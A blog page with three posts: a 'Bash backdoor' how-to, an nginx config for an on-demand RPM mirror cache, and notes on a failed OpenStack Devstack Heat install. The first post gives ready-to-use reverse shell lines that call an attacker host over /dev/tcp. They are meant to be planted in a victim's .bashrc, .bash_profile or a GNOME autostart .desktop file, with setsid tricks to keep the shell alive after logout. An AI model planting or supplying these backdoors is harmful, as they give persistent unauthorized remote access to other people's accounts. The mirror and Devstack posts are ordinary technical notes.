Tuesday, March 31, 2015

Bash backdoor

We have write access to a user's home directory and want shell access.  Bash sources a few files on startup:

.bash_profile -> new login (ssh/command line login)
.bashrc -> new bash instance (bash in a gnome-terminal)

If we add the following to one of those, we launch a connect back shell.
(setsid bash 1>&/dev/tcp/${HOST}/${PORT} 0>&1 & ) 2>/dev/null
Replace ${HOST} and ${PORT} to match your nc -lvp ${PORT} command.

setsid creates a new session for the process.  Launching in a new session allows the backdoor bash to continue running after the parent bash terminates.

Running the command in the subshell (the use of "(" and ")" ) hides the bash messages of the background process exiting.  The stderr redirect for the subshell hides failures like TCP connection failures.

While only specifying the redirection of stdin and stdout, the launched bash instance also redirects stderr to the TCP connection.  Bash must arrange that itself.

Replacing bash with Meterpreter might be worthwhile.  Metasploit & Meterpreter should handle multiple sessions while this will require a netcat instance per shell.

Originally, I open-coded a minimal daemon implementation in C. Then I rewrote to use the daemon(3) library call.  Then I tried just using setsid(2) at which point I found the setsid(1) utility.  That's much better than needing an additional program.  Python or Perl may provide a means to call setsid(2) and then exec(3) the shell without requiring an additional binary.  Something like:
$ cat ./setsid.py
#!/usr/bin/env python
import os
import sys

try:
        os.setsid()
except:
        pass
#print(sys.argv)
os.execvp(sys.argv[1], sys.argv[1:])
$ ./setsid.py bash
$ ps
  PID TTY          TIME CMD
 9912 pts/2    00:00:00 bash
10189 pts/2    00:00:00 bash
10262 pts/2    00:00:00 ps
nohup(1) may do something similar as well. setsid moves the process to another session so it won't receive the SIGHUP to terminate. nohup makes the process ignore SIGHUP, so it doesn't terminate.

You can also backdoor Gnome login with the following. Tested on Fedora 21 with Gnome 3.14. It may also work on other freedesktop.org compliant desktops. setsid isn't needed since the backdoor bash process ends up in its own session and persists after user logout. Maybe it's the combination of 'bash -c' using a subshell to run the backdoor bash? 'bash -c' is used to allow the file descriptor redirection. I doubted redirection would work if specified on the Exec= line, but did not test.
.config/autostart/backdoor.desktop

[Desktop Entry]
Type=Application
Exec=bash -c '(bash 1>&/dev/tcp/${HOST}/${PORT} 0>&1 & ) 2>/dev/null'
Name=Bash Backdoor

Populating a local RPM repository on demand.

My work internet connection is a pitiful dual T1 back to a central office.  What year are we living in?  The central office has local mirrors of some Linux distributions, but I am only accessing it over that tiny straw of a connection.  To avoid clogging the pipe, a local cache would cut down the traffic to update multiple machine.

This post is a dump of the config for future reference.  I originally found https://wiki.parabola.nu/Mirroring_On_Demand and modified it to work with Fedora.  Specifically Fedora 19 as the host to mirror the Fedora 19 repos.  You'll see nothing is Fedora specific.

The client boxes have their /etc/yum.repos.d/*.repo files point like so:
baseurl=http://cache.example.com/pub/fedora/linux/releases/$releasever/Everything/$basearch/os/

Things get a little convoluted.

mirror-east.example.com mirrors the regular /pub/fedora repository hierarchy. In actuality, mirror-east.example.com redirects to www.storage-array.example.com for the actual files... in a new subdirectory mirrors/sites/fedora. I think it was a HTTP 302 redirect.

To help with this, I symlinked the hierarchies together.
$ ls -l /srv/www/mirror.example.com/mirrors/
lrwxrwxrwx. 1 nginx nginx 6 Oct 15  2013 sites -> ../pub

This way files all end up under pub, even if they were fetched from the storage array. It avoids needing to rewrite the save pathnames.

Yum always requests /pub/fedora, but files in that path will not have been cached. The actual files were saved under /mirrors/sites/fedora. With the symlink, re-requested files are found under the /pub/fedora path.

I believe the only changes to /etc/nginx/nginx.conf were the following proxy_cache_path (and maybe proxy_temp_path) directives. The thought was to set a time limit for the repo metadata since cached versions of those would be invalidated overnight with the source mirror's rsync update. Repo data was set to expire in 16 (or 12?) hours - long enough that is was only fetched once per work day.

Config files:
 
/etc/nginx/nginx.conf

http {
    ... snip ...
    proxy_cache_path  /var/lib/nginx/tmp/repodata keys_zone=repodata:10m inactive=960m;
    proxy_temp_path   /srv/nginx/tmp;
    proxy_cache_path  /srv/nginx/cache  levels=1:2 keys_zone=cache_repodata:256m inactive=1d max_size=1g;
    ... snip ...
}


/etc/nginx/conf.d/repo-proxy.conf

# Frontend server for the mirror
upstream mirror-east {
    server mirror-east.example.com;
}

# Storage array with the files
upstream storage-array {
    server www.storage-array.example.com;
}

# Our mirror
server {
    listen       80;
    server_name  mirror.example.com mirror-east.example.com cache.example.com "";
    # access_log  off;
    # error_log off;
    root /srv/www/mirror.example.com;
    autoindex on;

    # Minimally cache databases
    location ~ repodata/.*$ {
        expires 16h;
        rewrite ^/pub/(.*)$ /mirrors/sites/$1 break;
        rewrite_log on;
        error_page 403 404 = @redir;
    }

    # Retrieve actual files.
    location /pub {
        expires 7d;
        rewrite ^/pub/(.*)$ /mirrors/sites/$1 break;
        rewrite_log on;
        error_page 403 404 = @get;
    }

    # Bogus location that redirects queries
    # Pass it to the repo upstream
    # We trick upstream into serving the main repo subdomain
    # Store the files in this format
    # Give them 664 permissions
    location @get {
        proxy_pass http://storage-array;
        proxy_set_header Host www.storage-array.example.com;
        proxy_store /srv/www/mirror.example.com$request_uri;
        proxy_store_access user:rw group:rw all:r;
    }

    # Bogus location for metadata.
    location @redir {
        proxy_cache cache_repodata;
        proxy_cache_valid 12h;
        proxy_pass http://storage-array;
        proxy_set_header Host www.storage-array.example.com;
        #proxy_store /srv/www/mirror.example.com$request_uri;
        #proxy_store_access user:rw group:rw all:r;
        expires 13h;
    }
}

You probably have to create the directories:
/srv/www/mirror.example.com/{pub,mirrors}
and then the symlink:
/srv/www/mirror.example.com/mirrors/sites -> ../pub

SELinux needs proper labeling.
I used system_u:object_r:httpd_sys_content_t:s0 for read only top level /srv/www/mirror.example.com and system_u:object_r:httpd_sys_rw_content_t:s0 for the populating subdirectory.  Originally I modified some boolean (I think...), but that seems to have been lost on reboot.
$ ls -ldZ /srv/www/mirror.example.com{,/pub}
drwxrwxr-x. root  nginx system_u:object_r:httpd_sys_content_t:s0 /srv/www/mirror.example.com
drwxrwxr-x. nginx nginx system_u:object_r:httpd_sys_rw_content_t:s0 /srv/www/mirror.example.com/pub

This scheme does not clean up after itself. i.e. updates don't evict the previous version. The following command will clear out old package revisions.
repomanage --old .

Openstack Devstack Heat problem

The proper solution is probably to start fresh from a clean install.

A few months back, I started running the Devstack's stack.sh installer on a CentOS 7 box. It failed and then I was distracted by other work. Today, I tried to resume.

Updating devstack doesn't update everything. All the git directories under /opt/stack should be updated as well.
for d in /opt/stack; do (cd $d; git pull); done
Then there was an issue with heat not installing. It seems that devstack uses /opt/stack/requirements/update.py to clobber the /opt/stack/heat/requirements.txt file. oslo.versionedobjects is no longer specified, and heat-manage db_sync fails. I don't know how oslo.versionedobjects got dropped, because it is included in the /opt/stack/requirements/global-requirements.txt.

Anyway, I modified the /opt/stack/heat/requirements.txt copy from git (git checkout) to add a second newline at the beginning. That means git diff shows a difference, and stack.sh skips calling /opt/stack/requirements/update.py.

heat installation proceeds, but now tempest failed with "ERROR: venv: commands failed"

Sigh.